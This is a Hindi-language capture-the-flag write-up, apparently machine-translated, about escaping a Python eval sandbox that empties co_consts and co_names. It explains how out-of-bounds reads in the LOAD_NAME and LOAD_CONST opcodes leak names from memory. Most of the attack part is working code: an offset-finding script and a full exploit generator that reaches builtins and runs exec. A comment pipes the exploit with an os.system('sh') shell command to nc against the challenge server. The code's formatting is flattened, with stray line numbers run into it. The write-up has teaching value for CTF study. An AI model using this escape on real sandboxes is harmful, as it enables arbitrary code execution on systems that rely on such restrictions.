हम LOAD_NAME / LOAD_CONST ऑपकोड में OOB पठन की सुविधा का उपयोग कर सकते हैं ताकि हम कुछ प्रतीक मेमोरी में प्राप्त कर सकें। जिसका मतलब है आप चाहते हैं कि किसी प्रतीक (जैसे कि फ़ंक्शन का नाम) को प्राप्त करने के लिए (a, b, c, ... सैकड़ों प्रतीक ..., __getattribute__) if [] else [].__getattribute__(...) जैसे चालाकी का उपयोग करें।
आप विषयस्थ Python कोड इनपुट कर सकते हैं, और यह Python कोड ऑब्जेक्ट में कंपाइल हो जाएगा। हालांकि, उस कोड ऑब्जेक्ट के co_consts और co_names को eval करने से पहले खाली टपल के साथ बदल दिया जाएगा।
इस प्रकार, सभी अभिव्यक्ति जिसमें consts (जैसे संख्याएँ, स्ट्रिंग्स आदि) या नाम (जैसे वेरिएबल्स, फंक्शन्स) शामिल हो सकती हैं, उसका अंत में सेगमेंटेशन फॉल्ट हो सकता है।
बाउंडरी के बाहर पठन
सेगफॉल्ट कैसे होता है?
एक सरल उदाहरण के साथ शुरू करें, [a, b, c] निम्नलिखित बाइटकोड में कंपाइल हो सकता है।
लेकिन अगर co_names खाली टपल बन जाए? LOAD_NAME 2 ऑपकोड फिर भी क्रियान्वित होता है, और उस मेमोरी पते से मान को पढ़ने की कोशिश करता है जिस पर यह मूल रूप से होना चाहिए था। हाँ, यह एक आउट-ऑफ-बाउंड पठन "सुविधा" है।
समाधान के लिए मूल अवधारणा सरल है। CPython में कुछ ऑपकोड जैसे LOAD_NAME और LOAD_CONST खुलासे के लिए OOB पठन के लिए भेद्य (?) हैं।
वे consts या names टपल से अनुक्रम oparg से एक ऑब्जेक्ट पुनः प्राप्त करते हैं (जो co_consts और co_names को अंदर से नामित किया जाता है)। हम LOAD_CONST के बारे में निम्नलिखित छोटे स्निपेट का संदर्भ ले सकते हैं ताकि हम देख सकें कि CPython LOAD_CONST ऑपकोड को प्रोसेस करते समय क्या करता है।
case TARGET(LOAD_CONST): {PREDICTED(LOAD_CONST);PyObject *value =GETITEM(consts, oparg);Py_INCREF(value);PUSH(value);FAST_DISPATCH();}1234567
इस तरह हम OOB सुविधा का उपयोग करके किसी भी मेमोरी ऑफसेट से "नाम" प्राप्त कर सकते हैं। यह सुनिश्चित करने के लिए कि उस नाम का क्या है और इसका ऑफसेट क्या है, बस LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... को कोशिश करते रहें। और आपको लगभग oparg > 700 में कुछ मिल सकता है। आप मेमोरी लेआउट को देखने के लिए gdb का उपयोग भी कर सकते हैं, लेकिन मुझे लगता है कि यह और अधिक सरल नहीं होगा?
उत्पादन उत्पन्न करना
जब हम उन उपयोगी ऑफसेट प्राप्त कर लेते हैं नाम / स्थिर, तो हम उस ऑफसेट से नाम / स्थिर कैसे प्राप्त करें और उसका उपयोग करें? यहां एक चाल है आपके लिए:
चलो मान लेते हैं हम ऑफसेट 5 (LOAD_NAME 5) से __getattribute__ नाम प्राप्त कर सकते हैं co_names=() के साथ, तो बस निम्नलिखित काम करें:
[a,b,c,d,e,__getattribute__] if [] else [[].__getattribute__# you can get the __getattribute__ method of list object now!]1234
ध्यान दें कि इसे __getattribute__ के रूप में नाम देना आवश्यक नहीं है, आप इसे कुछ छोटा या अधिक अजीब नाम दे सकते हैं।
ध्यान दें कि LOAD_ATTR भी co_names से नाम प्राप्त करता है। Python नाम को एक ही ऑफसेट से लोड करता है अगर नाम समान है, इसलिए दूसरा __getattribute__ भी ऑफसेट=5 से लोड होता है। इस सुविधा का उपयोग करके हम जब नाम मेमोरी के पास होता है तो एकाधिक नाम का उपयोग कर सकते हैं।
नंबर उत्पन्न करने के लिए सरल होना चाहिए:
0: not [[]]
1: not []
2: (not []) + (not [])
...
शात्र स्क्रिप्ट
मैंने लंबाई सीमा के कारण स्थिरों का उपयोग नहीं किया।
पहले यहाँ एक स्क्रिप्ट है जिसका हमें उन नामों के ऑफसेट पता करने के लिए करना है।
from types import CodeTypefrom opcode import opmapfrom sys import argvclassMockBuiltins(dict):def__getitem__(self,k):iftype(k)==str:return kif__name__=='__main__':n =int(argv[1])code = [*([opmap['EXTENDED_ARG'], n //256]if n //256!=0else []),opmap['LOAD_NAME'], n %256,opmap['RETURN_VALUE'],0]c =CodeType(0, 0, 0, 0, 0, 0,bytes(code),(), (), (), '<sandbox>', '<eval>', 0, b'', ())ret =eval(c, {'__builtins__': MockBuiltins()})if ret:print(f'{n}: {ret}')# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
और निम्नलिखित वास्तविक पायथन शोषण उत्पन्न करने के लिए है।
import sysimport unicodedataclassGenerator:# get numnerdef__call__(self,num):if num ==0:return'(not[[]])'return'('+ ('(not[])+'* num)[:-1] +')'# get stringdef__getattribute__(self,name):try:offset =None.__dir__().index(name)return f'keys[{self(offset)}]'exceptValueError:offset =None.__class__.__dir__(None.__class__).index(name)return f'keys2[{self(offset)}]'_ =Generator()names = []chr_code =0for x inrange(4700):whileTrue:chr_code +=1char = unicodedata.normalize('NFKC', chr(chr_code))if char.isidentifier()and char notin names:names.append(char)breakoffsets ={"__delitem__":2800,"__getattribute__":2850,'__dir__':4693,'__repr__':2128,}variables = ('keys','keys2','None_','NoneType','m_repr','globals','builtins',)for name, offset in offsets.items():names[offset]= namefor i, var inenumerate(variables):assert var notin offsetsnames[792+ i]= varsource = f'''[({",".join(names)}) if [] else [],None_ := [[]].__delitem__({_(0)}),keys := None_.__dir__(),NoneType := None_.__getattribute__({_.__class__}),keys2 := NoneType.__dir__(NoneType),get := NoneType.__getattribute__,m_repr := get(get(get([],{_.__class__}),{_.__base__}),{_.__subclasses__})()[-{_(2)}].__repr__,globals := get(m_repr, m_repr.__dir__()[{_(6)}]),builtins := globals[[*globals][{_(7)}]],builtins[[*builtins][{_(19)}]](builtins[[*builtins][{_(28)}]](), builtins)]'''.strip().replace('\n', '').replace(' ', '')print(f"{len(source) = }", file=sys.stderr)print(source)# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
यह मुख्य रूप से निम्नलिखित कार्रवाई करता है, उन स्ट्रिंग्स के लिए जो हम __dir__ विधि से प्राप्त करते हैं: